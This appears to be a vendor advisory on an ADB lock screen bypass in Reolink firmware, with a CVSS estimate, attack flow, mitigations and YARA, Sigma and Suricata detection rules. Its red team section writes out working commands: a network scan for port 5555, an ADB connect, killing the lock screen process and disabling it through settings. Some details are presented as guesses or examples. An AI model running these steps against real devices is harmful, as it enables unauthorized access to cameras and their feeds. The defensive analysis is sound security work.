CVE-2025-55623

Executive Summary

CVE-2025-55623 identifies a critical authentication bypass vulnerability in the lock screen component of Reolink firmware version v4.54.0.4.20250526. The flaw allows an attacker with physical or local network access to the device to bypass the lock screen authentication by leveraging the Android Debug Bridge (ADB) interface. This effectively grants unauthorized access to the device’s operating system and applications, bypassing the intended security controls. The vulnerability is currently unpatched, and no official fix has been released by Reolink. The attack vector requires ADB to be enabled on the device, which is a common debugging feature on Android-based systems.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a realistic assessment would be:

• Attack Vector (AV): Local (AV:L) – Requires physical or local network access to the device.
• Attack Complexity (AC): Low (AC:L) – ADB is a standard tool with simple commands.
• Privileges Required (PR): None (PR:N) – No prior authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Changed (S:C) – The attacker can impact resources beyond the lock screen.
• Confidentiality (C): High (C:H) – Full access to device data.
• Integrity (I): High (I:H) – Ability to modify system settings and data.
• Availability (A): High (A:H) – Potential to disrupt device operation.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Estimated Score: 8.6 (High)

Threat Level: High – Exploitation is straightforward with ADB enabled, and the impact is complete compromise of the device.

Deep Dive & Mechanics

The vulnerability resides in the lock screen component of Reolink’s Android-based firmware. The lock screen is designed to prevent unauthorized access to the device’s settings and camera feeds. However, the system fails to properly restrict the ADB interface when the device is locked.

Root Cause: The ADB daemon (adbd) remains active and accessible even when the lock screen is engaged. ADB is a powerful debugging tool that allows shell access to the Android system. By connecting to the device via ADB (typically over USB or TCP on port 5555), an attacker can execute arbitrary commands without needing to unlock the screen.

Attack Flow:

1. The attacker gains physical access to the Reolink device or connects to it over the local network if ADB over TCP is enabled.
2. Using the adb connect command, the attacker establishes a connection to the device.
3. Once connected, the attacker can run adb shell to obtain a root shell (if the device is rooted) or a limited shell.
4. From the shell, the attacker can bypass the lock screen by killing the lock screen process, modifying system files, or directly accessing camera feeds and settings.

Technical Details:

• ADB is typically used for development and debugging. On production devices, it should be disabled or restricted.
• The lock screen component does not check the ADB connection state or enforce authentication for ADB sessions.
• The vulnerability is present in firmware version v4.54.0.4.20250526. Earlier versions may also be affected if ADB is enabled.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable behavior can be described:

Vulnerable State:

• ADB daemon runs with full privileges.
• Lock screen process does not monitor or restrict ADB connections.
• No authentication is required to execute ADB commands.

Expected Patched State:

• ADB should be disabled by default on production firmware.
• If ADB is enabled, the lock screen should require authentication before allowing ADB shell access.
• Alternatively, ADB should be restricted to only allow authorized connections (e.g., via RSA key authentication).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Reolink device with firmware v4.54.0.4.20250526.
• ADB enabled on the device (check via device settings or network scan).
• Attacker machine with ADB tools installed (Android SDK platform-tools).

Exploitation Steps:

1. Discover the device:
   Scan the local network for devices with port 5555 open (default ADB port).

   nmap -p 5555 --open 192.168.1.0/24
   

2. Connect via ADB:

   adb connect 192.168.1.100:5555
   

3. Verify connection:

   adb devices
   

   Output should show the device as "device".

4. Bypass lock screen:
   Obtain a shell and kill the lock screen process.

   adb shell
   # Find lock screen process (example package name)
   ps | grep -i lockscreen
   # Kill the process
   kill <PID>
   

5. Access camera feeds:
   Use ADB to pull camera data or interact with the camera app.

   adb shell am start -n com.reolink.camera/.MainActivity
   

Alternative Method:
If the device is rooted, you can directly modify the lock screen configuration file.

adb shell
su
# Disable lock screen
settings put secure lockscreen.disabled 1

Blue Team (Defensive)

Detection and Prevention:

1. Disable ADB on production devices:
   Ensure ADB is turned off in the device settings. This is the primary mitigation.

2. Network Segmentation:
   Place Reolink devices on a separate VLAN with strict access controls. Block port 5555 from untrusted networks.

3. Monitor ADB Connections:
   Use network monitoring tools to detect unauthorized ADB connections.

   # Suricata rule to detect ADB connections
   alert tcp any any -> any 5555 (msg:"ADB Connection Detected"; sid:1000001; rev:1;)
   

4. Physical Security:
   Restrict physical access to the devices to prevent USB-based ADB attacks.

5. Firmware Updates:
   Monitor Reolink’s official channels for a patch. Until then, apply the mitigations above.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Connections to port 5555 (TCP) from unknown IP addresses.
  • ADB handshake packets (e.g., CNXN payload).
• Host IOCs:
  • Presence of ADB daemon running (adbd process).
  • Unauthorized shell sessions.
  • Modified lock screen settings (e.g., lockscreen.disabled set to 1).
• File IOCs:
  • /data/system/lockscreen.db modified or deleted.
  • /system/bin/adbd running with elevated privileges.

Detection Engineering

YARA Rule

rule CVE_2025_55623_ADB_Bypass {
    meta:
        description = "Detects ADB-related artifacts indicating lock screen bypass on Reolink devices"
        author = "Valters IT"
        date = "2025-06-10"
        reference = "CVE-2025-55623"
    strings:
        $adb_process = "adbd" nocase
        $lock_disabled = "lockscreen.disabled" nocase
        $adb_shell = "adb shell" nocase
    condition:
        any of them
}

Sigma Rule

title: ADB Connection to Reolink Device
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ADB connections to Reolink devices on port 5555
author: Valters IT
date: 2025-06-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 5555
        protocol: tcp
    condition: selection
falsepositives:
    - Legitimate ADB debugging sessions
level: high

Suricata Rule

alert tcp any any -> any 5555 (msg:"CVE-2025-55623 - ADB Connection to Reolink Device"; flow:to_server; content:"|43 4e 58 4e|"; offset:0; depth:4; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable ADB: Go to device settings and turn off Android Debug Bridge. This is the most effective mitigation.
2. Network Controls: Block inbound connections to port 5555 at the firewall level.
3. Physical Security: Ensure devices are in physically secure locations to prevent USB-based attacks.

Long-Term Fix:

• Await an official firmware patch from Reolink that disables ADB by default or enforces authentication for ADB sessions.
• Implement a monitoring solution to detect ADB usage on the network.

Workaround:

• If ADB is required for legitimate purposes, restrict access via IP whitelisting and use RSA key authentication (though this may not be supported on all devices).

Valters IT
Securing Digital Frontiers